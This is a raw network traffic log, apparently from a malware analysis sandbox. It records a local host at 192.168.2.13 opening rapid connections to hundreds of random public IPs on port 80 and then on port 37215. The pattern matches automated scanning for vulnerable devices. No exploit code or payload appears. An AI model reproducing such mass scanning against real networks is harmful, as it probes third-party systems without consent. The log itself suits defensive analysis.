Jan 30, 2025 10:43:00.200464964 CET	38885	80	192.168.2.13	38.152.60.219
Jan 30, 2025 10:43:00.200464964 CET	38885	80	192.168.2.13	154.255.92.133
Jan 30, 2025 10:43:00.200481892 CET	38885	80	192.168.2.13	109.223.223.42
Jan 30, 2025 10:43:00.200483084 CET	38885	80	192.168.2.13	209.87.189.7
Jan 30, 2025 10:43:00.200484991 CET	38885	80	192.168.2.13	157.164.56.30
Jan 30, 2025 10:43:00.200488091 CET	38885	80	192.168.2.13	212.45.34.189
Jan 30, 2025 10:43:00.200489044 CET	38885	80	192.168.2.13	76.69.115.92
Jan 30, 2025 10:43:00.200494051 CET	38885	80	192.168.2.13	124.187.6.38
Jan 30, 2025 10:43:00.200506926 CET	38885	80	192.168.2.13	148.61.81.118
Jan 30, 2025 10:43:00.200510979 CET	38885	80	192.168.2.13	147.20.240.75
Jan 30, 2025 10:43:00.200514078 CET	38885	80	192.168.2.13	133.140.106.225
Jan 30, 2025 10:43:00.200521946 CET	38885	80	192.168.2.13	163.179.170.134
Jan 30, 2025 10:43:00.200529099 CET	38885	80	192.168.2.13	77.167.24.104
Jan 30, 2025 10:43:00.200536966 CET	38885	80	192.168.2.13	53.176.63.93
Jan 30, 2025 10:43:00.200541019 CET	38885	80	192.168.2.13	68.185.3.98
Jan 30, 2025 10:43:00.200556040 CET	38885	80	192.168.2.13	110.184.213.33
Jan 30, 2025 10:43:00.200557947 CET	38885	80	192.168.2.13	2.32.2.111
Jan 30, 2025 10:43:00.200568914 CET	38885	80	192.168.2.13	48.24.219.4
Jan 30, 2025 10:43:00.200570107 CET	38885	80	192.168.2.13	131.36.54.201
Jan 30, 2025 10:43:00.200581074 CET	38885	80	192.168.2.13	46.120.171.94
Jan 30, 2025 10:43:00.200584888 CET	38885	80	192.168.2.13	198.196.179.232
Jan 30, 2025 10:43:00.200586081 CET	38885	80	192.168.2.13	60.234.163.193
Jan 30, 2025 10:43:00.200593948 CET	38885	80	192.168.2.13	162.173.149.0
Jan 30, 2025 10:43:00.200593948 CET	38885	80	192.168.2.13	169.168.120.126
Jan 30, 2025 10:43:00.200604916 CET	38885	80	192.168.2.13	198.61.251.17
Jan 30, 2025 10:43:00.200606108 CET	38885	80	192.168.2.13	46.33.90.249
Jan 30, 2025 10:43:00.200622082 CET	38885	80	192.168.2.13	4.70.200.216
Jan 30, 2025 10:43:00.200623989 CET	38885	80	192.168.2.13	141.228.157.32
Jan 30, 2025 10:43:00.200623989 CET	38885	80	192.168.2.13	18.147.231.18
Jan 30, 2025 10:43:00.200659037 CET	38885	80	192.168.2.13	131.71.226.72
Jan 30, 2025 10:43:00.200663090 CET	38885	80	192.168.2.13	161.104.158.124
Jan 30, 2025 10:43:00.200659037 CET	38885	80	192.168.2.13	213.19.195.109
Jan 30, 2025 10:43:00.200663090 CET	38885	80	192.168.2.13	221.26.223.104
Jan 30, 2025 10:43:00.200664043 CET	38885	80	192.168.2.13	14.64.67.83
Jan 30, 2025 10:43:00.200659990 CET	38885	80	192.168.2.13	47.130.25.200
Jan 30, 2025 10:43:00.200659990 CET	38885	80	192.168.2.13	89.201.67.137
Jan 30, 2025 10:43:00.200665951 CET	38885	80	192.168.2.13	181.209.251.35
Jan 30, 2025 10:43:00.200665951 CET	38885	80	192.168.2.13	32.51.135.9
Jan 30, 2025 10:43:00.200665951 CET	38885	80	192.168.2.13	165.198.10.119
Jan 30, 2025 10:43:00.200666904 CET	38885	80	192.168.2.13	210.58.233.94
Jan 30, 2025 10:43:00.200676918 CET	38885	80	192.168.2.13	121.40.60.108
Jan 30, 2025 10:43:00.200676918 CET	38885	80	192.168.2.13	210.36.15.34
Jan 30, 2025 10:43:00.200676918 CET	38885	80	192.168.2.13	150.115.23.59
Jan 30, 2025 10:43:00.200680017 CET	38885	80	192.168.2.13	208.87.159.15
Jan 30, 2025 10:43:00.200680971 CET	38885	80	192.168.2.13	37.27.22.240
Jan 30, 2025 10:43:00.200687885 CET	38885	80	192.168.2.13	93.161.63.111
Jan 30, 2025 10:43:00.200697899 CET	38885	80	192.168.2.13	201.132.161.174
Jan 30, 2025 10:43:00.200704098 CET	38885	80	192.168.2.13	107.40.222.145
Jan 30, 2025 10:43:00.200707912 CET	38885	80	192.168.2.13	100.42.125.94
Jan 30, 2025 10:43:00.200720072 CET	38885	80	192.168.2.13	166.35.20.240
Jan 30, 2025 10:43:00.200731039 CET	38885	80	192.168.2.13	193.113.153.127
Jan 30, 2025 10:43:00.200732946 CET	38885	80	192.168.2.13	153.211.144.247
Jan 30, 2025 10:43:00.200735092 CET	38885	80	192.168.2.13	67.111.250.246
Jan 30, 2025 10:43:00.200736046 CET	38885	80	192.168.2.13	208.5.24.142
Jan 30, 2025 10:43:00.200741053 CET	38885	80	192.168.2.13	46.70.31.55
Jan 30, 2025 10:43:00.200746059 CET	38885	80	192.168.2.13	113.200.125.12
Jan 30, 2025 10:43:00.200751066 CET	38885	80	192.168.2.13	173.23.71.135
Jan 30, 2025 10:43:00.200751066 CET	38885	80	192.168.2.13	69.176.253.249
Jan 30, 2025 10:43:00.200807095 CET	38885	80	192.168.2.13	63.128.13.136
Jan 30, 2025 10:43:00.200809002 CET	38885	80	192.168.2.13	155.222.166.22
Jan 30, 2025 10:43:00.200809002 CET	38885	80	192.168.2.13	49.136.87.237
Jan 30, 2025 10:43:00.200809002 CET	38885	80	192.168.2.13	59.104.201.90
Jan 30, 2025 10:43:00.200809956 CET	38885	80	192.168.2.13	179.124.100.177
Jan 30, 2025 10:43:00.200810909 CET	38885	80	192.168.2.13	128.40.50.110
Jan 30, 2025 10:43:00.200809956 CET	38885	80	192.168.2.13	115.67.59.218
Jan 30, 2025 10:43:00.200810909 CET	38885	80	192.168.2.13	158.31.147.173
Jan 30, 2025 10:43:00.200812101 CET	38885	80	192.168.2.13	204.221.249.198
Jan 30, 2025 10:43:00.200809002 CET	38885	80	192.168.2.13	51.15.98.150
Jan 30, 2025 10:43:00.200810909 CET	38885	80	192.168.2.13	166.131.3.25
Jan 30, 2025 10:43:00.200810909 CET	38885	80	192.168.2.13	85.202.160.139
Jan 30, 2025 10:43:00.200830936 CET	38885	80	192.168.2.13	99.37.117.177
Jan 30, 2025 10:43:00.200830936 CET	38885	80	192.168.2.13	5.92.249.139
Jan 30, 2025 10:43:00.200830936 CET	38885	80	192.168.2.13	185.100.71.226
Jan 30, 2025 10:43:00.200830936 CET	38885	80	192.168.2.13	199.135.38.248
Jan 30, 2025 10:43:00.200830936 CET	38885	80	192.168.2.13	92.232.40.24
Jan 30, 2025 10:43:00.200831890 CET	38885	80	192.168.2.13	67.26.237.182
Jan 30, 2025 10:43:00.200830936 CET	38885	80	192.168.2.13	69.77.183.171
Jan 30, 2025 10:43:00.200831890 CET	38885	80	192.168.2.13	74.77.162.112
Jan 30, 2025 10:43:00.200833082 CET	38885	80	192.168.2.13	194.26.18.51
Jan 30, 2025 10:43:00.200831890 CET	38885	80	192.168.2.13	47.126.18.172
Jan 30, 2025 10:43:00.200835943 CET	38885	80	192.168.2.13	186.231.84.164
Jan 30, 2025 10:43:00.200834036 CET	38885	80	192.168.2.13	75.117.221.167
Jan 30, 2025 10:43:00.200833082 CET	38885	80	192.168.2.13	73.20.119.6
Jan 30, 2025 10:43:00.200838089 CET	38885	80	192.168.2.13	126.11.21.193
Jan 30, 2025 10:43:00.200838089 CET	38885	80	192.168.2.13	162.169.249.239
Jan 30, 2025 10:43:00.200838089 CET	38885	80	192.168.2.13	99.180.101.69
Jan 30, 2025 10:43:00.200838089 CET	38885	80	192.168.2.13	222.122.64.132
Jan 30, 2025 10:43:00.200839043 CET	38885	80	192.168.2.13	222.107.71.249
Jan 30, 2025 10:43:00.200838089 CET	38885	80	192.168.2.13	4.70.105.24
Jan 30, 2025 10:43:00.200850964 CET	38885	80	192.168.2.13	197.201.240.52
Jan 30, 2025 10:43:00.200856924 CET	38885	80	192.168.2.13	150.106.211.105
Jan 30, 2025 10:43:00.200856924 CET	38885	80	192.168.2.13	88.133.222.110
Jan 30, 2025 10:43:00.200856924 CET	38885	80	192.168.2.13	104.157.5.220
Jan 30, 2025 10:43:00.200856924 CET	38885	80	192.168.2.13	38.180.221.94
Jan 30, 2025 10:43:00.200859070 CET	38885	80	192.168.2.13	207.96.137.205
Jan 30, 2025 10:43:00.200856924 CET	38885	80	192.168.2.13	89.99.207.108
Jan 30, 2025 10:43:00.200859070 CET	38885	80	192.168.2.13	100.159.244.72
Jan 30, 2025 10:43:00.200856924 CET	38885	80	192.168.2.13	121.65.104.119
Jan 30, 2025 10:43:00.200859070 CET	38885	80	192.168.2.13	109.84.23.236
Jan 30, 2025 10:43:00.200860977 CET	38885	80	192.168.2.13	59.138.96.160
Jan 30, 2025 10:43:00.200859070 CET	38885	80	192.168.2.13	190.59.52.30
Jan 30, 2025 10:43:00.200859070 CET	38885	80	192.168.2.13	175.18.15.212
Jan 30, 2025 10:43:00.200865030 CET	38885	80	192.168.2.13	48.149.25.165
Jan 30, 2025 10:43:00.200869083 CET	38885	80	192.168.2.13	48.12.172.193
Jan 30, 2025 10:43:00.200870037 CET	38885	80	192.168.2.13	66.88.113.7
Jan 30, 2025 10:43:00.200875044 CET	38885	80	192.168.2.13	107.19.192.222
Jan 30, 2025 10:43:00.200877905 CET	38885	80	192.168.2.13	89.191.165.218
Jan 30, 2025 10:43:00.200879097 CET	38885	80	192.168.2.13	183.30.2.174
Jan 30, 2025 10:43:00.200877905 CET	38885	80	192.168.2.13	175.135.52.126
Jan 30, 2025 10:43:00.200881958 CET	38885	80	192.168.2.13	76.38.135.6
Jan 30, 2025 10:43:00.200881958 CET	38885	80	192.168.2.13	144.163.218.75
Jan 30, 2025 10:43:00.200881958 CET	38885	80	192.168.2.13	175.159.254.206
Jan 30, 2025 10:43:00.200881958 CET	38885	80	192.168.2.13	189.244.25.202
Jan 30, 2025 10:43:00.200891018 CET	38885	80	192.168.2.13	166.153.255.169
Jan 30, 2025 10:43:00.200891972 CET	38885	80	192.168.2.13	78.187.17.142
Jan 30, 2025 10:43:00.200891018 CET	38885	80	192.168.2.13	120.131.28.12
Jan 30, 2025 10:43:00.200891972 CET	38885	80	192.168.2.13	129.67.170.167
Jan 30, 2025 10:43:00.200891972 CET	38885	80	192.168.2.13	1.178.64.170
Jan 30, 2025 10:43:00.200891972 CET	38885	80	192.168.2.13	132.116.242.182
Jan 30, 2025 10:43:00.200894117 CET	38885	80	192.168.2.13	9.253.199.110
Jan 30, 2025 10:43:00.200900078 CET	38885	80	192.168.2.13	72.98.158.55
Jan 30, 2025 10:43:00.200900078 CET	38885	80	192.168.2.13	106.185.88.188
Jan 30, 2025 10:43:00.200901031 CET	38885	80	192.168.2.13	41.59.183.92
Jan 30, 2025 10:43:00.200901031 CET	38885	80	192.168.2.13	90.37.191.154
Jan 30, 2025 10:43:00.200906038 CET	38885	80	192.168.2.13	113.140.203.141
Jan 30, 2025 10:43:00.200906038 CET	38885	80	192.168.2.13	197.99.164.206
Jan 30, 2025 10:43:00.200907946 CET	38885	80	192.168.2.13	81.255.174.64
Jan 30, 2025 10:43:00.200917006 CET	38885	80	192.168.2.13	142.228.74.200
Jan 30, 2025 10:43:00.200920105 CET	38885	80	192.168.2.13	95.4.90.230
Jan 30, 2025 10:43:00.200917006 CET	38885	80	192.168.2.13	153.20.254.9
Jan 30, 2025 10:43:00.200922966 CET	38885	80	192.168.2.13	24.157.27.201
Jan 30, 2025 10:43:00.200922966 CET	38885	80	192.168.2.13	184.172.214.198
Jan 30, 2025 10:43:00.200922966 CET	38885	80	192.168.2.13	113.229.192.16
Jan 30, 2025 10:43:00.200922966 CET	38885	80	192.168.2.13	36.4.10.247
Jan 30, 2025 10:43:00.200932980 CET	38885	80	192.168.2.13	145.147.35.235
Jan 30, 2025 10:43:00.200932980 CET	38885	80	192.168.2.13	111.92.182.237
Jan 30, 2025 10:43:00.200936079 CET	38885	80	192.168.2.13	19.119.171.59
Jan 30, 2025 10:43:00.200936079 CET	38885	80	192.168.2.13	204.202.193.144
Jan 30, 2025 10:43:00.200941086 CET	38885	80	192.168.2.13	92.82.177.175
Jan 30, 2025 10:43:00.200942993 CET	38885	80	192.168.2.13	218.57.246.92
Jan 30, 2025 10:43:00.200943947 CET	38885	80	192.168.2.13	94.87.252.219
Jan 30, 2025 10:43:00.200943947 CET	38885	80	192.168.2.13	160.134.1.207
Jan 30, 2025 10:43:00.200943947 CET	38885	80	192.168.2.13	201.25.118.163
Jan 30, 2025 10:43:00.200947046 CET	38885	80	192.168.2.13	203.234.185.203
Jan 30, 2025 10:43:00.200951099 CET	38885	80	192.168.2.13	201.178.146.138
Jan 30, 2025 10:43:00.200953007 CET	38885	80	192.168.2.13	150.148.32.3
Jan 30, 2025 10:43:00.200954914 CET	38885	80	192.168.2.13	68.96.43.87
Jan 30, 2025 10:43:00.200954914 CET	38885	80	192.168.2.13	99.185.27.224
Jan 30, 2025 10:43:00.200958967 CET	38885	80	192.168.2.13	207.139.44.152
Jan 30, 2025 10:43:00.200961113 CET	38885	80	192.168.2.13	206.38.101.146
Jan 30, 2025 10:43:00.200961113 CET	38885	80	192.168.2.13	113.99.66.166
Jan 30, 2025 10:43:00.200961113 CET	38885	80	192.168.2.13	220.20.215.34
Jan 30, 2025 10:43:00.200967073 CET	38885	80	192.168.2.13	138.92.132.184
Jan 30, 2025 10:43:00.200967073 CET	38885	80	192.168.2.13	133.151.200.27
Jan 30, 2025 10:43:00.200968027 CET	38885	80	192.168.2.13	111.10.127.4
Jan 30, 2025 10:43:00.200967073 CET	38885	80	192.168.2.13	122.250.113.5
Jan 30, 2025 10:43:00.200967073 CET	38885	80	192.168.2.13	196.180.114.82
Jan 30, 2025 10:43:00.200973034 CET	38885	80	192.168.2.13	170.33.154.122
Jan 30, 2025 10:43:00.200973034 CET	38885	80	192.168.2.13	75.176.82.14
Jan 30, 2025 10:43:00.200974941 CET	38885	80	192.168.2.13	49.169.232.148
Jan 30, 2025 10:43:00.200974941 CET	38885	80	192.168.2.13	37.100.14.136
Jan 30, 2025 10:43:00.200977087 CET	38885	80	192.168.2.13	173.77.118.245
Jan 30, 2025 10:43:00.200978994 CET	38885	80	192.168.2.13	104.68.115.121
Jan 30, 2025 10:43:00.200978994 CET	38885	80	192.168.2.13	163.147.113.241
Jan 30, 2025 10:43:00.200984001 CET	38885	80	192.168.2.13	12.81.148.90
Jan 30, 2025 10:43:00.200984001 CET	38885	80	192.168.2.13	125.143.162.36
Jan 30, 2025 10:43:00.200989008 CET	38885	80	192.168.2.13	171.3.163.44
Jan 30, 2025 10:43:00.200989962 CET	38885	80	192.168.2.13	76.46.179.52
Jan 30, 2025 10:43:00.200994015 CET	38885	80	192.168.2.13	204.100.77.108
Jan 30, 2025 10:43:00.200994968 CET	38885	80	192.168.2.13	36.107.11.146
Jan 30, 2025 10:43:00.200999022 CET	38885	80	192.168.2.13	161.128.90.154
Jan 30, 2025 10:43:00.201006889 CET	38885	80	192.168.2.13	150.204.253.91
Jan 30, 2025 10:43:00.201011896 CET	38885	80	192.168.2.13	86.69.202.230
Jan 30, 2025 10:43:00.201014996 CET	38885	80	192.168.2.13	19.158.69.12
Jan 30, 2025 10:43:00.201014996 CET	38885	80	192.168.2.13	193.34.198.4
Jan 30, 2025 10:43:00.201026917 CET	38885	80	192.168.2.13	157.36.20.106
Jan 30, 2025 10:43:00.201033115 CET	38885	80	192.168.2.13	75.67.146.57
Jan 30, 2025 10:43:00.201037884 CET	38885	80	192.168.2.13	143.41.161.45
Jan 30, 2025 10:43:00.201045990 CET	38885	80	192.168.2.13	25.210.133.55
Jan 30, 2025 10:43:00.201050043 CET	38885	80	192.168.2.13	183.27.110.35
Jan 30, 2025 10:43:00.201065063 CET	38885	80	192.168.2.13	77.77.93.174
Jan 30, 2025 10:43:00.201065063 CET	38885	80	192.168.2.13	95.125.160.215
Jan 30, 2025 10:43:00.201093912 CET	38885	80	192.168.2.13	182.129.175.139
Jan 30, 2025 10:43:00.201095104 CET	38885	80	192.168.2.13	8.97.255.252
Jan 30, 2025 10:43:00.201095104 CET	38885	80	192.168.2.13	178.244.138.40
Jan 30, 2025 10:43:00.201095104 CET	38885	80	192.168.2.13	217.88.157.22
Jan 30, 2025 10:43:00.201096058 CET	38885	80	192.168.2.13	185.192.71.87
Jan 30, 2025 10:43:00.201097965 CET	38885	80	192.168.2.13	133.82.222.226
Jan 30, 2025 10:43:00.201102972 CET	38885	80	192.168.2.13	53.183.45.6
Jan 30, 2025 10:43:00.201102972 CET	38885	80	192.168.2.13	195.162.13.233
Jan 30, 2025 10:43:00.201111078 CET	38885	80	192.168.2.13	205.80.141.25
Jan 30, 2025 10:43:00.201111078 CET	38885	80	192.168.2.13	213.117.255.86
Jan 30, 2025 10:43:00.201112986 CET	38885	80	192.168.2.13	181.121.164.221
Jan 30, 2025 10:43:00.201113939 CET	38885	80	192.168.2.13	44.78.102.164
Jan 30, 2025 10:43:00.201116085 CET	38885	80	192.168.2.13	12.200.106.171
Jan 30, 2025 10:43:00.201116085 CET	38885	80	192.168.2.13	12.164.111.96
Jan 30, 2025 10:43:00.201117039 CET	38885	80	192.168.2.13	186.230.184.20
Jan 30, 2025 10:43:00.201116085 CET	38885	80	192.168.2.13	186.61.39.53
Jan 30, 2025 10:43:00.201126099 CET	38885	80	192.168.2.13	75.16.120.73
Jan 30, 2025 10:43:00.201128006 CET	38885	80	192.168.2.13	162.47.233.92
Jan 30, 2025 10:43:00.201128960 CET	38885	80	192.168.2.13	38.28.220.246
Jan 30, 2025 10:43:00.201128960 CET	38885	80	192.168.2.13	68.66.246.7
Jan 30, 2025 10:43:00.201129913 CET	38885	80	192.168.2.13	107.202.215.122
Jan 30, 2025 10:43:00.201129913 CET	38885	80	192.168.2.13	77.154.117.98
Jan 30, 2025 10:43:00.201129913 CET	38885	80	192.168.2.13	198.16.57.35
Jan 30, 2025 10:43:00.201129913 CET	38885	80	192.168.2.13	113.237.101.126
Jan 30, 2025 10:43:00.201138973 CET	38885	80	192.168.2.13	134.0.82.206
Jan 30, 2025 10:43:00.201138973 CET	38885	80	192.168.2.13	85.28.109.129
Jan 30, 2025 10:43:00.201138973 CET	38885	80	192.168.2.13	164.72.225.139
Jan 30, 2025 10:43:00.201139927 CET	38885	80	192.168.2.13	147.142.101.106
Jan 30, 2025 10:43:00.201139927 CET	38885	80	192.168.2.13	8.182.158.30
Jan 30, 2025 10:43:00.201139927 CET	38885	80	192.168.2.13	109.223.170.69
Jan 30, 2025 10:43:00.201142073 CET	38885	80	192.168.2.13	87.221.159.48
Jan 30, 2025 10:43:00.201142073 CET	38885	80	192.168.2.13	216.148.143.68
Jan 30, 2025 10:43:00.201145887 CET	38885	80	192.168.2.13	169.167.236.82
Jan 30, 2025 10:43:00.201148987 CET	38885	80	192.168.2.13	91.193.87.251
Jan 30, 2025 10:43:00.201149940 CET	38885	80	192.168.2.13	180.91.151.221
Jan 30, 2025 10:43:00.201150894 CET	38885	80	192.168.2.13	150.56.49.127
Jan 30, 2025 10:43:00.201153040 CET	38885	80	192.168.2.13	153.45.108.214
Jan 30, 2025 10:43:00.201153040 CET	38885	80	192.168.2.13	191.209.214.79
Jan 30, 2025 10:43:00.201159000 CET	38885	80	192.168.2.13	37.39.209.248
Jan 30, 2025 10:43:00.201159954 CET	38885	80	192.168.2.13	64.204.244.126
Jan 30, 2025 10:43:00.201159954 CET	38885	80	192.168.2.13	223.87.221.249
Jan 30, 2025 10:43:00.201162100 CET	38885	80	192.168.2.13	32.190.97.209
Jan 30, 2025 10:43:00.201163054 CET	38885	80	192.168.2.13	13.42.204.71
Jan 30, 2025 10:43:00.201170921 CET	38885	80	192.168.2.13	177.104.108.250
Jan 30, 2025 10:43:00.201200008 CET	38885	80	192.168.2.13	181.165.28.92
Jan 30, 2025 10:43:00.201200962 CET	38885	80	192.168.2.13	112.200.251.219
Jan 30, 2025 10:43:00.201201916 CET	38885	80	192.168.2.13	129.24.64.123
Jan 30, 2025 10:43:00.201201916 CET	38885	80	192.168.2.13	68.230.192.46
Jan 30, 2025 10:43:00.201201916 CET	38885	80	192.168.2.13	111.7.149.145
Jan 30, 2025 10:43:00.201205969 CET	38885	80	192.168.2.13	91.125.219.42
Jan 30, 2025 10:43:00.201208115 CET	38885	80	192.168.2.13	1.167.76.77
Jan 30, 2025 10:43:00.201212883 CET	38885	80	192.168.2.13	145.125.89.109
Jan 30, 2025 10:43:00.201212883 CET	38885	80	192.168.2.13	145.189.144.112
Jan 30, 2025 10:43:00.201214075 CET	38885	80	192.168.2.13	67.151.127.11
Jan 30, 2025 10:43:00.201217890 CET	38885	80	192.168.2.13	176.222.164.53
Jan 30, 2025 10:43:00.201221943 CET	38885	80	192.168.2.13	125.119.154.8
Jan 30, 2025 10:43:00.201235056 CET	38885	80	192.168.2.13	129.251.193.191
Jan 30, 2025 10:43:00.201235056 CET	38885	80	192.168.2.13	211.29.144.198
Jan 30, 2025 10:43:00.201235056 CET	38885	80	192.168.2.13	107.32.31.158
Jan 30, 2025 10:43:00.201245070 CET	38885	80	192.168.2.13	147.29.73.71
Jan 30, 2025 10:43:00.201253891 CET	38885	80	192.168.2.13	175.246.218.77
Jan 30, 2025 10:43:00.201253891 CET	38885	80	192.168.2.13	222.219.31.193
Jan 30, 2025 10:43:00.201261997 CET	38885	80	192.168.2.13	186.94.19.10
Jan 30, 2025 10:43:00.201272011 CET	38885	80	192.168.2.13	59.227.0.194
Jan 30, 2025 10:43:00.201284885 CET	38885	80	192.168.2.13	217.154.39.196
Jan 30, 2025 10:43:00.201292038 CET	38885	80	192.168.2.13	179.196.82.231
Jan 30, 2025 10:43:00.201292992 CET	38885	80	192.168.2.13	202.200.187.195
Jan 30, 2025 10:43:00.201297998 CET	38885	80	192.168.2.13	38.55.235.140
Jan 30, 2025 10:43:00.201299906 CET	38885	80	192.168.2.13	152.64.112.57
Jan 30, 2025 10:43:00.201334000 CET	38885	80	192.168.2.13	210.4.80.165
Jan 30, 2025 10:43:00.201339006 CET	38885	80	192.168.2.13	27.213.133.157
Jan 30, 2025 10:43:00.201339006 CET	38885	80	192.168.2.13	196.201.100.103
Jan 30, 2025 10:43:00.201339960 CET	38885	80	192.168.2.13	194.82.148.121
Jan 30, 2025 10:43:00.201339960 CET	38885	80	192.168.2.13	177.242.161.110
Jan 30, 2025 10:43:00.201340914 CET	38885	80	192.168.2.13	88.4.62.70
Jan 30, 2025 10:43:00.201339960 CET	38885	80	192.168.2.13	47.238.129.66
Jan 30, 2025 10:43:00.201342106 CET	38885	80	192.168.2.13	108.80.138.5
Jan 30, 2025 10:43:00.201342106 CET	38885	80	192.168.2.13	111.78.230.31
Jan 30, 2025 10:43:00.201343060 CET	38885	80	192.168.2.13	169.21.9.136
Jan 30, 2025 10:43:00.201343060 CET	38885	80	192.168.2.13	66.131.126.241
Jan 30, 2025 10:43:00.201343060 CET	38885	80	192.168.2.13	204.148.30.90
Jan 30, 2025 10:43:00.201349974 CET	38885	80	192.168.2.13	78.200.158.212
Jan 30, 2025 10:43:00.201349974 CET	38885	80	192.168.2.13	122.120.167.65
Jan 30, 2025 10:43:00.201349974 CET	38885	80	192.168.2.13	63.120.40.193
Jan 30, 2025 10:43:00.201365948 CET	38885	80	192.168.2.13	59.195.78.250
Jan 30, 2025 10:43:00.201374054 CET	38885	80	192.168.2.13	189.64.41.165
Jan 30, 2025 10:43:00.201375008 CET	38885	80	192.168.2.13	137.138.82.138
Jan 30, 2025 10:43:00.201376915 CET	38885	80	192.168.2.13	183.86.121.6
Jan 30, 2025 10:43:00.201390982 CET	38885	80	192.168.2.13	156.39.147.80
Jan 30, 2025 10:43:00.201391935 CET	38885	80	192.168.2.13	200.163.106.163
Jan 30, 2025 10:43:00.201399088 CET	38885	80	192.168.2.13	118.200.198.123
Jan 30, 2025 10:43:00.201406956 CET	38885	80	192.168.2.13	43.61.118.182
Jan 30, 2025 10:43:00.201407909 CET	38885	80	192.168.2.13	25.4.27.169
Jan 30, 2025 10:43:00.201425076 CET	38885	80	192.168.2.13	115.133.168.164
Jan 30, 2025 10:43:00.201431990 CET	38885	80	192.168.2.13	176.239.139.100
Jan 30, 2025 10:43:00.201431990 CET	38885	80	192.168.2.13	83.28.247.213
Jan 30, 2025 10:43:00.201433897 CET	38885	80	192.168.2.13	90.207.218.16
Jan 30, 2025 10:43:00.201437950 CET	38885	80	192.168.2.13	197.195.36.69
Jan 30, 2025 10:43:00.201442957 CET	38885	80	192.168.2.13	95.206.69.189
Jan 30, 2025 10:43:00.201585054 CET	43644	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:00.201602936 CET	43644	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:00.201738119 CET	38811	37215	192.168.2.13	41.222.244.73
Jan 30, 2025 10:43:00.201745987 CET	38811	37215	192.168.2.13	197.149.156.67
Jan 30, 2025 10:43:00.201751947 CET	38811	37215	192.168.2.13	156.62.242.117
Jan 30, 2025 10:43:00.201766014 CET	38811	37215	192.168.2.13	156.167.64.153
Jan 30, 2025 10:43:00.201766014 CET	38811	37215	192.168.2.13	156.239.108.56
Jan 30, 2025 10:43:00.201776981 CET	38811	37215	192.168.2.13	156.228.191.109
Jan 30, 2025 10:43:00.201778889 CET	38811	37215	192.168.2.13	197.28.173.71
Jan 30, 2025 10:43:00.201787949 CET	38811	37215	192.168.2.13	156.252.241.229
Jan 30, 2025 10:43:00.201792955 CET	38811	37215	192.168.2.13	156.144.137.87
Jan 30, 2025 10:43:00.201792955 CET	38811	37215	192.168.2.13	197.171.149.143
Jan 30, 2025 10:43:00.201812029 CET	38811	37215	192.168.2.13	41.123.186.162
Jan 30, 2025 10:43:00.201817989 CET	38811	37215	192.168.2.13	156.125.190.11
Jan 30, 2025 10:43:00.201859951 CET	38811	37215	192.168.2.13	156.129.22.166
Jan 30, 2025 10:43:00.201870918 CET	38811	37215	192.168.2.13	156.43.60.217
Jan 30, 2025 10:43:00.201880932 CET	38811	37215	192.168.2.13	41.214.90.6
Jan 30, 2025 10:43:00.201880932 CET	38811	37215	192.168.2.13	156.114.213.253
Jan 30, 2025 10:43:00.201888084 CET	38811	37215	192.168.2.13	197.106.71.166
Jan 30, 2025 10:43:00.201888084 CET	38811	37215	192.168.2.13	197.197.180.63
Jan 30, 2025 10:43:00.201889992 CET	38811	37215	192.168.2.13	156.95.4.62
Jan 30, 2025 10:43:00.201893091 CET	38811	37215	192.168.2.13	156.10.99.9
Jan 30, 2025 10:43:00.201893091 CET	38811	37215	192.168.2.13	41.120.44.43
Jan 30, 2025 10:43:00.201898098 CET	38811	37215	192.168.2.13	197.229.193.177
Jan 30, 2025 10:43:00.201909065 CET	38811	37215	192.168.2.13	41.143.179.113
Jan 30, 2025 10:43:00.201919079 CET	38811	37215	192.168.2.13	156.199.125.80
Jan 30, 2025 10:43:00.201920033 CET	38811	37215	192.168.2.13	197.78.95.1
Jan 30, 2025 10:43:00.201936007 CET	38811	37215	192.168.2.13	41.2.138.84
Jan 30, 2025 10:43:00.201956987 CET	38811	37215	192.168.2.13	156.88.216.198
Jan 30, 2025 10:43:00.201960087 CET	38811	37215	192.168.2.13	156.125.175.83
Jan 30, 2025 10:43:00.201970100 CET	38811	37215	192.168.2.13	41.93.194.173
Jan 30, 2025 10:43:00.201972961 CET	38811	37215	192.168.2.13	156.226.155.88
Jan 30, 2025 10:43:00.201977015 CET	38811	37215	192.168.2.13	41.28.74.177
Jan 30, 2025 10:43:00.201993942 CET	38811	37215	192.168.2.13	41.248.87.254
Jan 30, 2025 10:43:00.201997042 CET	38811	37215	192.168.2.13	197.175.226.196
Jan 30, 2025 10:43:00.201998949 CET	38811	37215	192.168.2.13	156.174.60.33
Jan 30, 2025 10:43:00.201998949 CET	38811	37215	192.168.2.13	41.172.30.182
Jan 30, 2025 10:43:00.202012062 CET	38811	37215	192.168.2.13	156.26.101.118
Jan 30, 2025 10:43:00.202016115 CET	38811	37215	192.168.2.13	197.181.44.216
Jan 30, 2025 10:43:00.202035904 CET	38811	37215	192.168.2.13	197.106.158.241
Jan 30, 2025 10:43:00.202049971 CET	44226	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:00.202053070 CET	38811	37215	192.168.2.13	156.26.189.254
Jan 30, 2025 10:43:00.202058077 CET	38811	37215	192.168.2.13	41.235.113.189
Jan 30, 2025 10:43:00.202064037 CET	38811	37215	192.168.2.13	156.115.56.113
Jan 30, 2025 10:43:00.202071905 CET	38811	37215	192.168.2.13	197.117.207.17
Jan 30, 2025 10:43:00.202076912 CET	38811	37215	192.168.2.13	41.51.166.218
Jan 30, 2025 10:43:00.202081919 CET	38811	37215	192.168.2.13	197.84.229.32
Jan 30, 2025 10:43:00.202095985 CET	38811	37215	192.168.2.13	156.208.251.47
Jan 30, 2025 10:43:00.202096939 CET	38811	37215	192.168.2.13	41.83.224.13
Jan 30, 2025 10:43:00.202096939 CET	38811	37215	192.168.2.13	41.201.217.120
Jan 30, 2025 10:43:00.202105045 CET	38811	37215	192.168.2.13	41.249.24.150
Jan 30, 2025 10:43:00.202112913 CET	38811	37215	192.168.2.13	197.25.110.142
Jan 30, 2025 10:43:00.202121019 CET	38811	37215	192.168.2.13	197.6.38.186
Jan 30, 2025 10:43:00.202157021 CET	38811	37215	192.168.2.13	156.110.41.18
Jan 30, 2025 10:43:00.202162027 CET	38811	37215	192.168.2.13	156.12.20.75
Jan 30, 2025 10:43:00.202163935 CET	38811	37215	192.168.2.13	41.78.99.104
Jan 30, 2025 10:43:00.202174902 CET	38811	37215	192.168.2.13	156.6.148.55
Jan 30, 2025 10:43:00.202174902 CET	38811	37215	192.168.2.13	41.67.230.218
